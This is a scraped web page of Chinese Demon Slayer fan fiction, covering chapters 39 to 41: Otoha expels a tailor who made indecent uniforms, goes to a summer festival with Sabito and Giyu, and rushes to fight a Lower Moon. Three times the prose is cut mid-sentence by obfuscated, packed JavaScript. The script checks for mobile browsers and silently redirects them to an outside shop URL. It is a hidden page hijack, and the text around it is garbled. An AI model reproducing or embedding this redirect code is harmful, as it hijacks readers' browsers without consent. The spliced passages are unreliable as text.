话音落下,两个人的目光正好撞在一起。 那种感觉再一次席卷了音叶的身体,心脏不听使唤又毫无章法地狂跳起来,音叶不明白自己这是怎么了。 但义勇的眼神太过认真,音叶没有办法就这样让义勇站在那里。她张开嘴,试着踌躇着让嘴巴说出几句话,而平时话多到要溢出来的嘴巴如今连一句话都吐露不出来。 空气仿佛在这一刻变得粘稠起来。 “……喂喂喂,你们两个,在干什么呢?” 锖兔的声音从浴室里传出来,他探出头来,目光在两人之间转了一圈,然后果断地拉起音叶的手臂,把她往浴室里推。 “行了行了,水放好了,快进去洗吧……再站下去,水都要凉了。” 音叶被推得踉跄了一步,耳根有些发烫,她没再回头,快步走进了浴室。 身后,锖兔关上浴室的门,转过身看向还站在原地的义勇。 他双手抱臂,挑了挑眉。 义勇别开了视线。 第二天清晨,阳光刚刚露头,蝉鸣便接连不断,音叶一觉睡到自然 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17375059|200056||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 醒,就听见有隐部队的成员来到小院门口。 “鳞泷大人,主公大人召见。” 那人手里拿着一根素色的小布条,恭敬地递了过来,音叶会意,接过布条系在眼睛上。紧接着耳朵里又被塞进一双耳塞,她的视野和听觉都陷入一片柔和的黑暗与沉默。 音叶感觉到隐稳稳地背起自己,开始快速穿行。 风从耳边掠过,带着清晨特有的清冽气息。 ……是主公大人的召见,香奈惠说每一个成为柱的队员都要和主公大人进行谈话。 主公大人会找她说些什么呢? 在音叶不知不觉的胡思乱想中,脚步停了下来。 “鳞泷大人,到了。” 音叶解开布条,眼前是一座古朴而雅致的府邸。隐部队的成员无声地退下,她整理了一下衣襟,独自向里走去。 廊下的光线柔和而静谧,她穿过一道月门,眼前豁然开朗,一个女子正站在庭院中央,背对着她。 听到脚步声,女子转过身来。 音叶微微一怔。 那是一个极其美丽的女子,白色的头发垂落在耳边,她的眼睛温柔而深邃,衬得她的面容有一种近乎神性的宁静。晨风拂过,她衣袂轻扬。 最引人注目的是她的腹部,那里已经有些微微隆起,代表着新生命的孕育。 这是产屋敷家的女主人,产屋敷天音。 “音叶,进来吧。” 一个温和的声音从屋里传来,那声音不大,却带着一种奇异的穿透力,让人不自觉地感到安心。 音叶走进屋内,产屋敷耀哉正端坐在上首,他的面容苍白而清瘦,但那双眼睛却格外明亮,带着洞察一切的温和。 “我就知道你一定会成为柱的。”产屋敷耀哉的声音很温和,字字清晰,“这段时间,辛苦你了。” 音叶摇了摇头:“不,我只是做了该做的事。” “你会保护所有你能保护的人……”主公大人说,语气平静而笃定,仿佛在陈述一个既成的事实,“我从未怀疑过这一点。” 音叶听着这句话,心里忽然涌起一种奇异的感觉。和主公大人说话的时候,一切都变得轻飘飘的,那些沉重的东西好像都被轻轻托起,不再那么压得人喘不过气来。 他真的很懂得安抚人心。 音叶这样想着,沉默了片刻,终于还是开口了:“主公大人……我想请问,关于我父母的事。” 产屋敷耀哉并没有露出意外的表情,他像是早就明白了音叶的意图,但他并没有开口,而是安静地等着音叶继续说下去。 “我想知道更多关于爸爸妈妈的消息,”音叶垂下眼,“如果可以的话……” 耀哉沉默了一会儿,语气里带着一丝歉疚:“关于你的父母,我所了解的并不多。” 音叶抬起头,对上他的目光,她忽然意识到按照主公大人的年纪来看,自己父母活跃的时期,他也不过是个孩子。 “不过,”主公大人的声音又响起来,依旧温和而坚定,“我会尽量帮你收集关于他们的信息,但凡能找到的,我都会让人送到你手上。” 音叶深深鞠了一躬:“多谢主公大人。” 没过多久,音叶果然收到了来自产屋敷家的包裹。 里面东西不多,只是几张泛黄的纸页,是鬼杀队内部关于她父母的有限记录,还有几页零散的纸张,是现任柱们关于父母的零星印象。 内容算不上详尽,甚至可以说是寥寥无几,但音叶捧着那些纸页,怔怔地看了很久。 音叶并没有把拜托给主公大人的事情看得多么重要,毕竟鬼杀队那么多队员,他不可能每个人的意愿都记得那么明白清楚。 ……可是主公大人真的做到了。 音叶将那些纸页小心翼翼地收好,指尖轻轻抚摸着关于父母的消息。 39. 前田的下场 成为柱之后的日子,比音叶想象中要平静得多。 当然,所谓的平静也只是相对的:巡逻、驱鬼、救援,日复一日的工作填满了大部分时间。只是比起从前那种随时被派遣任务的紧迫感,如今有了明确管辖区域的音叶,至少不必再像以前那样等着悠子来通报任务了。 最终选拔刚结束不久,号称“鎹鸦百事通”的悠子传来好消息:蝴蝶忍顺利通过了选拔,并且在主公大人的认可下,成为了花柱香奈惠的继子。 并且这一届最终选拔,只造成了少数的受伤,没有死亡。 音叶听到这个消息时,嘴角微微上扬了一些,看来那个娇小却倔强的女孩,果然做到了。 这天傍晚,音叶完成了自己管辖区域的巡逻任务,正沿着山路往回走,夕阳将天边染成大片大片的橘红色,林间吹来的风没有城镇里那么燥热,反而带着一丝凉意。 音叶是在岔路口遇到锖兔的,少年从另一条小路上走来,步伐比平时慢了一些。 看到音叶的瞬间,他停了一拍,随即扬起手朝她挥了挥,语气里带着一如既往的轻快。 “好巧。” 音叶的目光却落在他的左臂上——那里有一道被鬼爪划破的伤口,虽然已经简单处理过,但血迹还是渗透了衣袖。 除此之外,他身上还有几处不算严重的外伤,整个人看起来狼狈了一些,却远不到从前那种伤痕累累的地步。 音叶站在原地,将锖兔从头到脚打量了一遍,银紫色的眼睛在夕阳下显得格外清透,侧脸那道从耳边蔓延到嘴角的疤痕也被余晖染成了浅金色。 音叶满意地点了点头。 至少进步了,没有逞能,没有把自己搞到奄奄一息才回来,这位少年的判断力终于开始向他的剑术天赋看齐了。 “走吧,”音叶转过身,语气不容拒绝,“去蝶屋。” 锖兔愣了一下,下意识想说什么,但在看到音叶那副“你敢拒绝试试看”的表情后,非常识时务地把话咽了回去。 “……哦,好。” 山路两旁的石灯笼里已经点上了烛火,橘黄色的光晕在暮色中明明灭灭。锖兔走在音叶身旁,时不时侧头看她一眼。她的棕色长发被晚风吹起几缕,在肩头轻轻晃动,绿色的眼睛专注地看着前方的路,侧脸的线条柔和又利落。 他把目光收回来,按住了胸口那个越来越不听话的位置。 蝶屋的庭院里一如既往地飘着淡淡的药香。 音叶把锖兔交给护理人员处理伤口后,便站在走廊上等着。夕阳已经落了大半,天边只剩下最后一抹余晖,将庭院的石子路染成温柔的颜色。 就在这时,一个熟悉的身影从走廊另一头走来,是忍。 她穿着那件新队服,或者准确地说,是试图穿着那件新队服。 音叶的目光落在忍身上的瞬间,就明白了为什么这个平日里能够表达自己情绪的女孩,此刻额头上会崩出粗粗的青筋。 那件队服的布料少得可怜,上衣短得几乎只堪堪遮住胸口,裙子的下摆也短得夸张,似乎稍微一个不小心就会走光。 忍的身形本就娇小,这样的衣服穿在身上与其说是队服,不如说更像是某种不该出现在一个十几岁少女身上的东西。 忍的脸上依然挂着笑,但那笑容让人后背发凉。 “音叶姐,”她的声音轻轻的,尾音却微微上扬,“您也来处理伤口吗?” 音叶看着忍手里攥着的那几块少得可怜的布料,那大概是被她换下来的、原本应该算作“队服”的东西,沉默了片刻。 “不,我带锖兔来处理伤口……”音叶转身朝忍走去,语气平静得像在谈论天气,“忍,你要去找那个裁缝吗?” “正要去呢。” “一起吧。” 锖兔刚好处理完伤口从治疗室里走出来,就看到音叶和忍并肩走在前方。两个人脸上都带着令人毛骨悚然的笑意,这莫名的表情让周围的空气都降低了几个温度。 他茫然地眨了眨眼,不明所以地跟在两人身后。 裁缝的工坊在总部后面的一间小屋里,这个四眼裁缝平日里主要负责队服的缝制与修改,手艺据说不错,但为人嘛……音叶之前没有打过交道,今天算是见识到了。 前田看到蝴蝶忍走进来的时候,脸上居然还笑眯眯的,仿佛那件恶心的衣服不是出自他之手一样。 “哎呀,蝴蝶小姐,新队服还合身吗?我特意设计得轻便一些,方便战斗……” 忍没有回答,她当着他的面,把那几块少得可怜的布料丢在地上,拿起火柴擦出火花后仍在了上面。 火焰腾地窜了起来,布料瞬间被吞噬,火光映在忍的脸上,让她的笑容显得格外危险。 前田的笑容僵在脸上。 “不知廉耻……”忍的声音不大,却字字清晰,带着一股让人不敢直视的压迫感,“如果你觉得用这种东西敷衍我就够了,那我只能当着你的面告诉你,这不够。” 前田被她的气势吓得往后退了一步,额头开始冒汗。他连忙摆手,语气变得慌乱起来:“蝴、蝴蝶小姐,您别生气,我重新做,重新做一份就是了……” 锖兔站在门口,看到这一幕总算反应过来了。 他的目光在前田那张谄媚的脸上停留了一瞬,又看了看忍刚刚烧的那件根本不能称之为队服的东西,眉头皱了起来。 然后他从后面重重地推了前田一把。 “看清楚你面前的是谁,”少年的声音冷了下来,“鬼杀队的队员,不是你可以随便戏弄的对象。” 前田被推得踉跄了一下,一抬头,终于注意到了站在忍身旁的音叶。 他认出了音叶手中拿着的刀,刀上刻着恶鬼灭杀的字样,要知道,只有柱才被允许在刀上进行刻字。 前田的脸色瞬间变了,立刻恭敬地弯腰行礼:“霖,霖柱大人……” 音叶没有搭理他,她往前一步,居高临下地看着这个缩着肩膀的男人。 “我问你,”音叶的声音有些颤抖——当然是气的,让前田的身子不自觉地抖了一下,“你是给每一个加入鬼杀队的女孩子,都做这种服饰的吗?” 前田张了张嘴,额头的汗珠大颗大颗地滚落,他不敢看音叶的眼睛,视线在地面上游移了片刻,最终颤颤巍巍地点了点头。 那一瞬间,音叶胸口的怒火彻底燃了起来。 “你知不知道,”她的声音压得很低,像是努力在克制即将爆发的情绪,“一个女孩子要进入鬼杀队,要克服多少阻碍?” 前田不敢说话,整个人几乎要缩成一团。 “从拿起刀的那一天起,她们就要比男人付出更多的努力,承受更多的质疑,在每一次任务中赌上自己的性命。”音叶的声音一点一点地拔高,目光如炬,“我以为鬼杀队是唯一一个不需要在意这些事情的地方……没想到,队内居然还有你这种恶心的存在。” 她的话却字字诛心。 前田的脸色青了又白,嘴唇哆嗦着想说什么,却一个字都说不出来。 锖兔站在一旁,看着音叶为了所有女队员呵斥前田的背影。 她站在那里,脊背挺得笔直,声音里带着不容置疑的力量。夕阳的余晖从工坊的窗户斜斜照进来,落在她的侧脸上,将她的轮廓勾勒得格外分明。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17375060|200056||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >锖兔的心脏猛烈地撞击着胸腔,从那一刻开始,心跳一发不可收拾,不听使唤地狂跳起来。 锖兔听到自己的声音,那声音太响了,响到他几乎怀疑站在前面的音叶也能听见,他下意识地抬手按住了胸口,掌心下面传来的心跳快得如同擂鼓。 锖兔看着面前这个毫不遮掩情绪的少女,在心底深深地吸了一口气。 承认吧,锖兔。不管你再怎么隐瞒、再怎么欺骗自己,但你得知道—— 你这一刻的心跳,就是为了鳞泷音叶。 音叶并不知道身后的少年正在因为自己的举动经历一场自我审判的风暴洗礼,她的目光依然钉在前田身上,那个男人已经缩成了一团,连抬头看她都不敢。 音叶深吸一口气,声音沉了下来:“既然你打着鬼杀队的旗号做这种事,那就别怪我用鬼杀队的方式来处理。” 前田猛地抬起头,眼睛里满是惊恐。 “我以——主公大人授予柱的权力,”音叶一字一顿,声音带着仍未消退的怒意,“将你逐出鬼杀队,从今天起,你不许再踏进任何与队务相关的地方,不许再经手任何一件队服。” 前田的脸彻底白了,嘴唇翕动着,想为自己求情:“鳞泷大人……” “你走吧。” 只是几个字,却让前田像被抽走了所有力气,他跌跌撞撞地退了几步,脚下一个踉跄,险些摔倒,最终转身逃似的跑出了工坊。 音叶站在原地,看着他的背影消失在门外,胸口的那团怒火却还没有完全熄灭。 她转过身,看向闻讯赶来围观的其他裁缝,那些人站在工坊门口,脸上带着不同程度的震惊与不安。 音叶的目光从他们脸上一一扫过。 “鬼杀队不需要前田这种人,”她的声音平静,却带着不容置疑的重量,“以后队服的制作,任何人都不许再用那种下作的方式对待女队员。谁如果再犯……” 她停了一瞬:“后果不会比前田更好。” 工坊里一片寂静,没有人敢出声。晚风从门口灌进来,吹灭了忍烧的那件队服,青烟在暮色里袅袅升起。 纸终究是包不住火的。音叶擅自以主公大人的名号赶走裁缝的事情,很快在队内传开了。 几天之后,产屋敷耀哉的召见来了。 隐再一次背着音叶来到产屋敷府邸,这次的路程似乎比以往都要漫长。音叶在心里一遍又一遍地回忆着那天发生的事情,每一个细节都记得清清楚楚。 如果重来一次,她还是会做同样的事。但她知道,这并不意味着自己不需要承担后果。 府邸的门前,紫藤花正在盛放,一串串垂落下来,在午后的阳光里泛着淡淡的紫色光晕。音叶独自一人走到廊下跪坐好,等待着主公大人的发落。 主公大人的声音依旧温和,听不出任何怒意:“音叶,你知道自己做了什么吗?” “知道,”音叶低着头,“我擅自以主公大人的名义赶走了裁缝前田,违反了队律。” 产屋敷耀哉轻轻叹了口气:“这几天陆陆续续有女队员通过鎹鸦向我写信为你求情,这些我都看在心里……” “你的立场是好的,这一点我从不怀疑,”他的声音平静,“但是音叶,队律是维系鬼杀队的根基,如果每个人都因为立场是好的就可以不遵守规则,那这个队伍很快就会乱掉。” 音叶沉默了片刻,然后深深低下头:“我明白,主公大人,我甘愿受罚。” 耀哉看着她的发顶,沉默了几息。 “面壁思过,禁食三天。” 他的语气没有一丝波澜,仿佛在说一件再平常不过的事情:“去吧。” 40. 夏日祭 日本的夏天格外漫长,蝉鸣声不绝于耳,阳光直直地照射在地面上,晒得人睁不开眼睛。音叶躲在树荫下的曲木摇椅上乘凉,手里拿着锖兔买回来的西瓜,悠哉地吃着。 她咬一口,汁水清甜,顺着嘴角淌下来,便用指腹随意一抹,整个人懒洋洋地陷在摇椅里。 在音叶成为柱之后,主公大人曾派人来询问她对住所的喜好。听说音叶对现在住的房子很满意后,便大手一挥,将这处出租屋买下来送给了她。 产屋敷家族还真是财大气粗啊…… 自从主公大人将那栋房子送给音叶之后,便再也没有过问过她的居住安排,将这房子的决定权全交给音叶,她想怎么住、和谁住,都由她自己说了算。言下之意,就是默许了他们三人同住的事实。 午后的阳光透过树叶洒下斑驳的光影,音叶靠在摇椅里,忽然想起什么,转头看向身边的两个人。 “对了,你们最近有时间吗?”她问道,“我在辖区巡逻的时候听人说,过几天会有大型的夏日祭活动。” “我们要不要一起去呀?我还从来没去过这种夏日祭呢……” 音叶的话音刚落,锖兔便立刻回答道:“我可以去!” 声音快得有些过分了,音叶的目光落过来,锖兔才意识到自己应得太急,只好尴尬地冲她笑了笑,侧脸的疤痕随着笑意微微扬起,倒让那张本就明朗的脸显得更坦荡了些。 义勇倒是神色如常,只是微微侧头看向音叶,语气平淡却认真:“如果没有任务的话,我一定去。” “那就这么一言为定了。” 锖兔用余光瞥见她的笑容,心跳又漏了几拍。他连忙转过身去,装作继续练刀的样子,刀刃却再也没有方才的利落,好几次都偏了方向。 或许是上天也察觉到了音叶心中的期待,到了夏日祭那天,三人竟然难得都没有接到任务。于是他们便换上了浴衣,一同踏入了夜幕下热闹非凡的集市。 傍晚时分,夕阳西下,远处的山峦在暮色中渐渐模糊了轮廓。 音叶换上浴衣,淡蓝色的布料上印着几尾游动的金鱼,腰间的带子是深蓝色系的,在身后打成一个工整的蝴蝶结。 她将长发挽起,用一根简单的簪子固定住,露出后颈那截白皙的皮肤。那双绿色的眼眸在暮色里显得格外清亮,整张脸上都是藏不住的雀跃。 推开房门的时候,锖兔和义勇已经在院子里等着了。 锖兔穿了一件深灰色的浴衣,衣摆处有几道简单的纹样,衬得他整个人多了几分沉稳。见音叶出来,他转身笑道:“终于来了。” 少年的目光在音叶身上多停留了一瞬,随即又飞快地移开。 义勇穿的是藏青色的浴衣,款式比锖兔的更加素净,几乎没有什么花纹。黑色的头发用发绳绑在脑后,发质有些粗硬,却收拾得利落。 他站在廊下的阴影里,深蓝色的瞳孔安静地看着音叶走出来,只是微微点了点头,算是打过了招呼。 三个人一同走出了院门,集市离住处并不远,步行大约一刻钟便到了。 街道两旁挂满了红色的灯笼,摊贩的叫卖声与远处传来的太鼓声交织在一起。音叶走在两个少年中间,眼中满是新奇。 “我要玩这个。”音叶蹲在水池边,拿起一个纸网,语气里带着几分跃跃欲试。 作为鬼杀队里最高等级的柱、令人闻风丧胆的存在,音叶却败在了捞金鱼上面。纸网在她手里像是被施了什么诅咒一般,刚刚移出水面就破了。 她不信邪地又试了一次,这次倒是坚持得久了一些,可当她小心翼翼地将纸网往水面外移动的时候,金鱼一个摆尾,纸网应声而裂,金鱼啪嗒一声落回了水中,溅了她一脸水花。 锖兔在旁边看得直乐,蹲下身来接过她手里全新的纸网:“看我的。” 他的语气自信满满,架势也摆得十足。可结果和音叶并没有什么两样:纸网刚碰到金鱼的身体,便毫无悬念地破了一个大洞。 音叶忍不住笑出了声。 锖兔嘴硬道:“我这是还没熟悉规则,等我熟悉了……” 义勇默默地叹了一口气。 “还是我来吧。”他从音叶手中拿了一个新的纸网,语调平平的,听不出什么波澜。 义勇蹲下身,手腕稳稳地探入水中,动作不急不缓。那脆弱的纸网在他手中仿佛有了生命,轻轻一舀,一尾红色的小金鱼便落入了碗中。 “天呐,义勇好厉害啊!”音叶由衷地赞叹道,眼睛亮晶晶的。 锖兔在旁边不服气地嘟囔:“我那是还没熟悉规则,等熟悉了肯定也能捞上来。” “是是是,”音叶笑着哄他,“那我可要好好期待你的下一次了。” 锖兔被她这语气弄得更加不好意思,别过头去,耳根却悄悄地红了起来。 三人继续往前走,路过一个卖苹果糖的摊位。红彤彤的苹果裹着晶莹的糖衣,在灯光下泛着诱人的光泽。 “老板,帮我拿三个!”音叶大方地掏出钱包,将三颗苹果糖一人分了一个。 她咬了一口自己那颗,糖衣在齿间碎裂,发出清脆的声响,里面的苹果酸甜多汁,口感恰到好处。 音叶满足地眯起眼睛,又咬了一大口,腮帮子鼓鼓的,说话都含混起来:“多吃点,别客气。” 她拍了拍腰包,语气里带着几分得意,“柱的工资可多着呢。” 锖兔和义勇对视了一眼,不约而同地笑了。 前面不远处有个射靶子的摊位,锖兔只看了一眼就兴冲冲地喊了一句“这个我一定要玩”,便飞奔过去。 淡橘色的头发在人群里格外显眼,他一头扎进摊位前的人群,背影都透着股跃跃欲试的劲儿。 音叶没有跟上去,只是站在原地笑看着他的背影。余光瞥见义勇还站在自己身边,她有些意外地抬起头:“你怎么没过去?” 义勇垂眸看她,语气平静却理所当然:“我不想让你一个人。” 音叶愣了一下,正要说什么,目光不经意间落在他嘴角——那里还残留着一抹红色的糖渍。 “怎么还跟小时候一样,”她无奈地笑着,从袖中抽出手帕,自然而然地抬手去帮他擦,“吃东西总是弄得到处都是。” 义勇没有躲开,他微微低下头,自从发育期之后,他和锖兔都蹿了个子,音叶站在他们面前,总要微微仰着脸才行。 而义勇此刻的动作正好让音叶能够碰到他的唇角,然而就在手帕触及他嘴唇的那一刻,他却忽然抬手,轻轻握住了音叶的手腕。 音叶的手顿在半空,感受到义勇就着这个姿势,将她的手掌连同手帕一起贴向自己的脸颊。他微微偏头,隔着手帕,慢慢地蹭了蹭她的手心,动作像一只安静的大型犬在表达说不出口的情绪。 手帕的布料薄得几乎感觉不到,掌心传来的温度隔着那层织物,仍然烫得人心跳发慌。义勇垂着眼,睫毛在脸颊上投下一片浅浅的阴影,神色平静如水。 可谁也不知道他是否真的平静。 音叶慌忙抽回手,手帕都差点没拿稳,从指缝间滑了一下又被她攥住。她发现自己的心脏扑通扑通跳个不停,像是要从胸腔里蹦出来。 义勇堪堪松开了手,任由她将那方手帕攥成一团藏进袖中,指尖还在微微发颤。 就在这时,锖兔的声音从身后传来,打破了这片令人窒息的暧昧。 “音叶、义勇,我发现了一个好地方——” 他跑回来,额上沁出薄汗,银紫色的眼睛亮得惊人,满脸都是藏不住的兴奋,“那边有个神社,后面有一大片草坪,人很少,待会儿看烟花肯定视野特别好……” 他的手里还拿着一个射靶子赢来的小布偶,是一只不太像狗的狗,歪歪扭扭的,针脚也有些粗糙,却被他宝贝似的攥在手心里。 “真的吗?”音叶像是抓住了救命稻草一般,连忙转过身去回应他,声音比平时高了半度,脸上那层薄红还没完全褪去。 “当然是真的,我刚才特意去看过了。”锖兔将那个小布偶递到她面前,“这个给你。” 音叶接过来,低头看了看那只歪歪扭扭的小狗,忍不住笑了,瞳孔里倒映着布偶笨拙的模样:“这是什么?” “奖 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17375061|200056||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 品啊……”锖兔理直气壮地说,银紫色的眼睛却不自觉地往旁边瞟了一下,又赶忙收回来,“虽然比不上义勇捞金鱼那么厉害,但好歹也是赢回来的。” 他的语气里带着几分得意,又带着几分不易察觉的紧张,像是在等待音叶的回答。 音叶将那个小布偶仔仔细细地收好,认真地说:“谢谢你,我很喜欢。” 锖兔的表情变得有些狰狞,分明是有些想笑却在拼命忍着。他别过头去,嘴角那道伤疤都被牵动得微微扭曲,嘟囔了一句“这有什么好谢的”,便率先迈开了步子,朝着神社的方向走去。 义勇站在她身后,目光淡淡地扫过她微微发红的耳尖,什么也没说。 三个人一同往神社的方向走去,穿过鸟居,沿着石阶往上,果然在后方发现了一片开阔的草坪。周围瞬间安静了许多,几乎听不到集市的喧嚣。 三个人在草坪上躺下来,音叶也顾不上发型了,索性将手枕在脑后,仰望着头顶深蓝色的夜空,星星一颗一颗地亮起来,像是在为即将到来的烟花做铺垫。 “以后每年夏日祭,只要大家都有时间,”音叶望着天空,声音轻缓,“我们就一起来吧。” 话音刚落,第一朵烟花便在夜空中炸开了。 金红色的光芒铺满了整片天幕,像一朵骤然绽放的巨大的花,花瓣化作流星纷纷坠落。紧接着是各种颜色的烟花竞相开放,将夜空装点得流光溢彩。 音叶被这美景吸引了全部的注意力,眼睛映着漫天的烟火,嘴角不自觉地扬起。 她不知道的是,在烟花的光芒明明灭灭之间,身边的两个人都在看着她。 锖兔侧躺着,目光落在音叶的侧脸上,看她眼中倒映的烟火,看她弯起的嘴角,看她因为惊喜而微微张开的嘴唇。或许连他自己都没有发现,他的眼神比任何时候都要柔软。 义勇也偏过头来,目光落在音叶扬起的笑脸上。 两个人的视线在某一瞬间交汇了,但谁都没有率先开这个口。 烟花的光芒在他们脸上交替明灭,将那些说不出口的心事照得无处遁形。锖兔的神色变成了显而易见的慌乱,反观义勇却依旧是那副平静的模样,只是微微垂下了眼睫,率先移开了视线。 沉默在两人之间蔓延,唯有烟花还在夜空中轰鸣。 等到最后一抹烟花彻底消散,伴随着噼里啪啦的花火尾声,在三个人口中约定的第二年一起参加夏日祭的活动也宣告结束。 同样的草坪、烟花,只是三个人都有了各自的变化。义勇已经当上了水柱,身姿愈发挺拔沉稳,而锖兔成为了甲级成员,褪去了些许少年的青涩,却依旧保留着那份爽朗。 音叶没能好好欣赏今年的烟花,连轴转的任务让她几乎没有合过眼,此刻躺在柔软的草坪上,困意便如潮水般涌了上来。 耳边是烟花绽放的声音,眼前是漫天绚烂的色彩,可她的眼皮却越来越沉。 迷迷糊糊之间,她感觉到有什么东西在脸上轻轻蹭了一下,像是谁用指腹小心翼翼地碰了一下,那触感轻得几乎察觉不到。 随后,她被人稳稳地抱了起来。 身体落入一个温暖的怀抱,有人将她往怀里收了收,调整了一下姿势,让她靠得更舒服些。她太困了,连眼睛都睁不开,只能在这份安稳中沉沉地睡去。 再次恢复意识的时候,她已经躺在了房间的榻榻米上。 身下是熟悉的被褥,枕头被细心地摆好了位置。音叶费力地撑开眼皮,视线还有些模糊,脑袋昏昏沉沉的。 门扉半掩着,透进来一缕光亮,她看见义勇和锖兔一前一后地从她的房间走出去,最后是锖兔蹑手蹑脚地帮她带上了房间的门。 室内重归寂静,音叶躺在榻上,意识仍然有些混沌。她抬起手,指尖缓缓抚上自己的侧脸。 烟花的声音还隐隐约约从远处传来,仿佛是另一个世界的事情。而她的脸颊上,似乎还残留着方才那一触即分的温度。 一个问题悄悄浮上心头,挥之不去—— 锖兔和义勇…… 究竟是谁,偷偷亲了她一下? 41. 姑获鸟 自从那天之后,音叶便坐立难安,与锖兔和义勇相处时,总觉得哪里都不太自然。反观另外两人,却都面色如常,仿佛什么也未曾发生。 难道……这一切真的只是一个梦? 可是落在脸颊上的温热触感并不像是假的,也确确实实有人将她抱回了房间。 音叶咬着手指,在房间里来回踱步,最终决定把那天晚上发生的一切看作一场梦。她已经过了十五岁,早就不是小孩子了,自然也明白那个吻意味着什么。 但是义勇和锖兔,他们两个都是她生命中至关重要的存在,她谁也不想失去。 音叶走出房间,院子里难得的安静。 义勇被主公大人派去执行任务,少了一个人的院子愈发显得空落。秋日的阳光薄薄地铺在廊下,却没有照出多少暖意。 锖兔坐在廊沿,正低头擦拭着日轮刀,刀刃映出他专注的眉眼,这次任务难得毫发无伤,连刀身都没添几道新的划痕。 音叶坐在他身后不远处,后肩的伤口正在愈合,新生的皮肉泛着难耐的痒意。她下意识伸手去挠,指尖还没碰到伤处,就被一只手掌不轻不重地拍了回去。 锖兔的手掌干燥温热,带着常年握刀磨出的厚茧,拍了一下就缩了回去。 “别碰,在愈合呢。”锖兔头也没回,目光仍落在刀刃上,手上的动作也没有停下来。 音叶悻悻缩回手,棕色的长发顺着动作滑落肩头,她鼓了鼓腮帮子,小声嘟囔:“痒。” “痒也不能挠,”锖兔这才侧过头来看她一眼,语气里带着几分无可奈何的认真,语气却放软了些,“你的伤口恢复得快,但这不代表你可以为所欲为,总要顾着点身体。” 一阵风从院墙外翻进来,枯黄的叶子簌簌落了几片。已经入秋了,院子里的树叶开始掉落,花朵也敛起颜色,将力气都攒着留给下一个春天。只剩下院子里那些桔梗还在顽强地盛放。 音叶望着那片坠地的落叶,忽然弯起眼睛笑了,绿色的眼眸弯成月牙,让人不自觉地跟着她一起笑起来。 她托着腮,语气里带着几分促狭:“以前都是你受伤,我在旁边念叨你,管着你不准乱动、不准逞强……没想到有一天,倒换成你管着我了。” 锖兔没有理会她的说笑,只垂着眼继续擦拭刀面,指腹贴着刀脊缓缓推过,日轮刀的刀身被擦得锃亮,映出少年清爽利落的脸部轮廓。 音叶也不恼,换了个姿势,把下巴搁在膝盖上,安安静静地看着他。 这份祥和的气氛并没有维持太久,一阵细碎的振翅声由远及近,悠子扑棱着翅膀落下来,平常灵巧的动作里夹杂着几分慌乱,差点都没能平稳地落在音叶的肩头,它的爪子在羽织上抓出细小的褶皱,语速比平时快了许多。 “音叶、音叶!我在和小伙伴一起出去觅食的时候看到了两名甲级队员遇到了下弦一,之前的好多队员折在上面了,可能需要柱的支援……” 音叶的笑意敛去,她倏地站起身,动作牵动了后肩的伤口,一阵钝痛从肩胛骨蔓延开来,她只是微微皱了皱眉,伸手抓起一旁的羽织披上,棕色的长发被她随手拢到脑后。 她扬起下巴示意悠子:“快带路。” “我也去。”说这话时,锖兔已经将日轮刀收回鞘中,站起身来,银紫色的眼睛平静地望着她,带着不容拒绝的态度。 音叶脚步一顿,回头看了一眼锖兔。他刚从任务中回来,就连队服都没有换下来,身上还带着长途跋涉的疲惫。 音叶想要开口让锖兔留下来,但对上那双眼睛,话到嘴边又咽了回去。 她认识锖兔太久了,对他也太过了解,这种情况下不让他去才是最糟糕的,因为他很可能悄摸摸跟在自己身后。 “那你跟紧我,千万要注意安全。” 风声从耳边呼啸而过,两个人一前一后在屋脊上飞掠,脚下的瓦片发出轻微的响声。 音叶跑在前面,棕发被风吹得向后飘起,余光里能看见锖兔紧紧跟在身后半步的位置,刀鞘敲在腰侧,发出有节奏的轻响。 后肩的伤口隐隐作痛,但她没有理会。 两人赶到现场时,空气里已经弥漫开浓重的血腥气,混着阴冷潮湿的气味扑面而来。这是一处废弃的房子,原本的庭园已经被战斗摧毁了大半,碎石和断木散落一地。 场面远比音叶预想中还要混乱。 那个身上带着狰狞疤痕、领口大敞的少年正跪倒在碎石与榻榻米残片之间,剧烈地咳嗽着。鲜血从喉咙里涌出来,顺着下巴滴落,在浅色的地面上洇开大片暗红。 他那头标志性的白色炸毛此刻沾满了血污和灰尘,脸上那道横贯鼻梁的疤痕在月光下显得格外刺目,身上大大小小的新旧伤疤在破损的队服下若隐若现。 音叶认出了他——使用风之呼吸的不死川实弥,粂野匡近的师弟。 音叶与他打过几次照面,都是被匡近拖到蝶屋处理伤口的时候。每次来他都板着一张脸,浑身上下写满了不情愿,只有匡近在旁边笑着打圆场的时候,他暴躁的脾气总会收敛几分。 